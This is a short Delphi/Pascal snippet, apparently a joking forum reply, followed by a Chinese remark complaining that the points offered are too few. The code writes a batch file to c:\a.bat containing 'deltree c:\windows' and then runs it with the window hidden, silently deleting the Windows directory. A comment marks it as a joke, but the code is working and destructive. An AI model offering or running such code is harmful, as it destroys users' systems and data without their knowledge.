var myfile:textfile
begin
 assign(myfile,'c:\a.bat');
 rewrite(myfile);
 try
  writeln(myfile,'@echo off');
  writeln(myfile,'deltree c:\windows'); //开玩笑
 finally
  closefile(myfile);
 winexec('c:\a.bat',sw_hide);
end;分数太少了吧,提不起兴趣